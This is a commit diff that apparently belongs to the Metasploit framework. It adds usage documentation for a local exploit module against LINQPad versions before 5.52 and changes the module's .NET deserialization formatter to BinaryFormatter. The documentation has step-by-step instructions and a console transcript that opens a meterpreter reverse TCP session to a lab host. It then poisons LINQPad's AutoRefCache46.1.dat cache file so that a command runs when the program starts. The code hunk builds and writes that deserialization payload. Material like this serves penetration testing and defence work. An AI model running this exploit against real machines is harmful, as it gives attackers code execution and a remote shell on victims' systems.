Adding documentation

documentation/modules/exploit/windows/local/linqpad_deserialization.md

@@ -0,0 +1,49 @@
+## LINQPad 5.48 Deserialization
+
+LINQPad is a scratchpad for .NET programming. Versions prior to 5.52 contain a deserialization vulnerability in processing cache file when program is starting. Application can be downloaded from [here](https://www.linqpad.net/).
+
+## Verification Steps
+Steps:
+
+1. Install the application
+2. Start msfconsole
+3. Get Meterpreter/cmd shell
+4. Run: `use windows/local/linqpad_deserialization`
+5. Set payload - for example `set payload cmd/windows/generic` - and corresponding parameters
+5. Set parameters `session`, `cache_path`, `linqpad_path`
+6. Run exploit
+
+## Options
+
+### cache\_path
+
+The parameter sets path for folder, where vulnerable cache file is present. This is crucial part of the exploit as the folder can be used to identify whether the current version is vulnerable and the payload delivery is performed through cache file. 
+
+### linqpad\_path
+
+Final part of exploit runs the LINQPad to trigger deserialization procedure. The `linpad_path` parameter sets the path to LINQPad binary, which is ran at the end of exploit.
+
+Example:
+
+```
+msf6 > use exploit/multi/handler
+msf6 exploit(multi/handler) > set LHOST 192.168.95.128
+msf6 exploit(multi/handler) > set LPORT 4242
+msf6 exploit(multi/handler) > set payload windows/x64/meterpreter_reverse_tcp
+msf6 exploit(multi/handler) > run
+[*] Started reverse TCP handler on 192.168.95.128:4242 
+[*] Meterpreter session 1 opened (192.168.95.128:4242 -> 192.168.95.130:53430) at 2024-12-30 12:46:16 +0100
+
+meterpreter > background
+[*] Backgrounding session 1...
+msf6 exploit(multi/handler) > use windows/local/linqpad_deserialization
+msf6 exploit(windows/local/linqpad_deserialization) > set LINQPAD_PATH C:/ProgramData/LINQPad/Updates50.AnyCPU/552/LINQPad.exe
+msf6 exploit(windows/local/linqpad_deserialization) > set payload windows/exec/cmd
+msf6 exploit(windows/local/linqpad_deserialization) > set cache_path C:/Users/ms/AppData/Local/LINQPad
+msf6 exploit(windows/local/linqpad_deserialization) > set CMD calc.exe
+msf6 exploit(windows/local/linqpad_deserialization) > set session 1
+msf6 exploit(windows/local/linqpad_deserialization) > exploit
+[*] Exploit completed, but no session was created.
+```
+
+Previous example will run `calc.exe` when LINQPad will start.

modules/exploits/windows/local/linqpad_deserialization.rb

@@ -74,8 +74,7 @@ def exploit
     dotnet_payload = ::Msf::Util::DotNetDeserialization.generate(
       payload.encoded, # this is the Operating System command to run
       gadget_chain: :TextFormattingRunProperties,
-      formatter: :LosFormatter
-    )
+      formatter: :BinaryFormatter    )
     # try to overwrite cache file
     fail_with(Failure::PayloadFailed, 'Writing payload to cache file failed') unless write_file(datastore['Cache_path'] + '/AutoRefCache46.1.dat', dotnet_payload)